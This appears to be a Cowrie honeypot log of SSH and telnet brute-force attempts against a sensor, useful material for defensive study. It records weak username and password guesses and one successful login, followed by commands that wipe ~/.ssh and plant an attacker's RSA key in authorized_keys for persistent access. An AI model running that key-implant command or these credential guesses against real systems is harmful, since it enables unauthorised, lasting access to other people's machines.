{"eventid":"cowrie.session.connect","src_ip":"103.106.188.32","src_port":46234,"dst_ip":"10.17.0.5","dst_port":22,"session":"1949549e6e79","protocol":"ssh","message":"New connection: 103.106.188.32:46234 (10.17.0.5:22) [session: 1949549e6e79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:53:44.216870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:53:44.221598Z","src_ip":"103.106.188.32","session":"1949549e6e79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:53:44.429732Z","src_ip":"103.106.188.32","session":"1949549e6e79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pdq466z7","message":"login attempt [admin/pdq466z7] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:53:45.435263Z","src_ip":"103.106.188.32","session":"1949549e6e79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:53:46.647024Z","src_ip":"103.106.188.32","session":"1949549e6e79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":60829,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d50a3d3ab48","protocol":"ssh","message":"New connection: 109.91.4.177:60829 (10.17.0.5:22) [session: 8d50a3d3ab48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:53:50.708238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:53:50.712690Z","src_ip":"109.91.4.177","session":"8d50a3d3ab48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:53:50.819782Z","src_ip":"109.91.4.177","session":"8d50a3d3ab48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oracle2","password":"oracle","message":"login attempt [oracle2/oracle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:53:51.631793Z","src_ip":"109.91.4.177","session":"8d50a3d3ab48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:53:52.743991Z","src_ip":"109.91.4.177","session":"8d50a3d3ab48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":47792,"dst_ip":"10.17.0.5","dst_port":22,"session":"705b954aa77b","protocol":"ssh","message":"New connection: 103.146.202.174:47792 (10.17.0.5:22) [session: 705b954aa77b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:54:13.713211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:54:13.717584Z","src_ip":"103.146.202.174","session":"705b954aa77b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:54:13.958738Z","src_ip":"103.146.202.174","session":"705b954aa77b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"test23","message":"login attempt [admin/test23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:54:14.952461Z","src_ip":"103.146.202.174","session":"705b954aa77b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.001384973526,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:54:16.183914Z","src_ip":"37.52.61.49","session":"d1fc5cd72840","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:54:16.195075Z","src_ip":"103.146.202.174","session":"705b954aa77b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.52.61.49","src_port":43020,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ba10d035a2c","protocol":"telnet","message":"New connection: 37.52.61.49:43020 (159.203.135.109:23) [session: 7ba10d035a2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:54:16.580108Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.106.188.32","src_port":34538,"dst_ip":"10.17.0.5","dst_port":22,"session":"949d921aad92","protocol":"ssh","message":"New connection: 103.106.188.32:34538 (10.17.0.5:22) [session: 949d921aad92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:54:43.831590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:54:43.835207Z","src_ip":"103.106.188.32","session":"949d921aad92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:54:44.055014Z","src_ip":"103.106.188.32","session":"949d921aad92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":59650,"dst_ip":"10.17.0.5","dst_port":22,"session":"633a3b2f438f","protocol":"ssh","message":"New connection: 109.91.4.177:59650 (10.17.0.5:22) [session: 633a3b2f438f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:54:45.059137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:54:45.064472Z","src_ip":"109.91.4.177","session":"633a3b2f438f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:54:45.174154Z","src_ip":"109.91.4.177","session":"633a3b2f438f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"123456","message":"login attempt [user3/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:54:45.214314Z","src_ip":"103.106.188.32","session":"949d921aad92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql","message":"login attempt [mysql/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:54:45.631208Z","src_ip":"109.91.4.177","session":"633a3b2f438f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:54:46.456240Z","src_ip":"103.106.188.32","session":"949d921aad92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:54:46.747502Z","src_ip":"109.91.4.177","session":"633a3b2f438f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":58766,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d42fe23c7c8","protocol":"ssh","message":"New connection: 103.248.120.6:58766 (10.17.0.5:22) [session: 2d42fe23c7c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:54:55.845686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:54:55.850008Z","src_ip":"103.248.120.6","session":"2d42fe23c7c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:54:56.071204Z","src_ip":"103.248.120.6","session":"2d42fe23c7c8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle123$","message":"login attempt [oracle/oracle123$] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:54:56.971153Z","src_ip":"103.248.120.6","session":"2d42fe23c7c8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:54:57.447798Z","src_ip":"103.248.120.6","session":"2d42fe23c7c8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:54:57.451473Z","src_ip":"103.248.120.6","session":"2d42fe23c7c8","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:54:57.455159Z","src_ip":"103.248.120.6","session":"2d42fe23c7c8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:54:57.675930Z","src_ip":"103.248.120.6","session":"2d42fe23c7c8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:54:58.145541Z","src_ip":"103.248.120.6","session":"2d42fe23c7c8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:54:58.148504Z","src_ip":"103.248.120.6","session":"2d42fe23c7c8","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:54:58.368698Z","src_ip":"103.248.120.6","session":"2d42fe23c7c8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:54:58.372610Z","src_ip":"103.248.120.6","session":"2d42fe23c7c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":60041,"dst_ip":"10.17.0.5","dst_port":22,"session":"c03fae6c5788","protocol":"ssh","message":"New connection: 103.248.120.6:60041 (10.17.0.5:22) [session: c03fae6c5788]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:54:58.587116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:54:58.591196Z","src_ip":"103.248.120.6","session":"c03fae6c5788","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:54:58.810708Z","src_ip":"103.248.120.6","session":"c03fae6c5788","protocol":"ssh"}
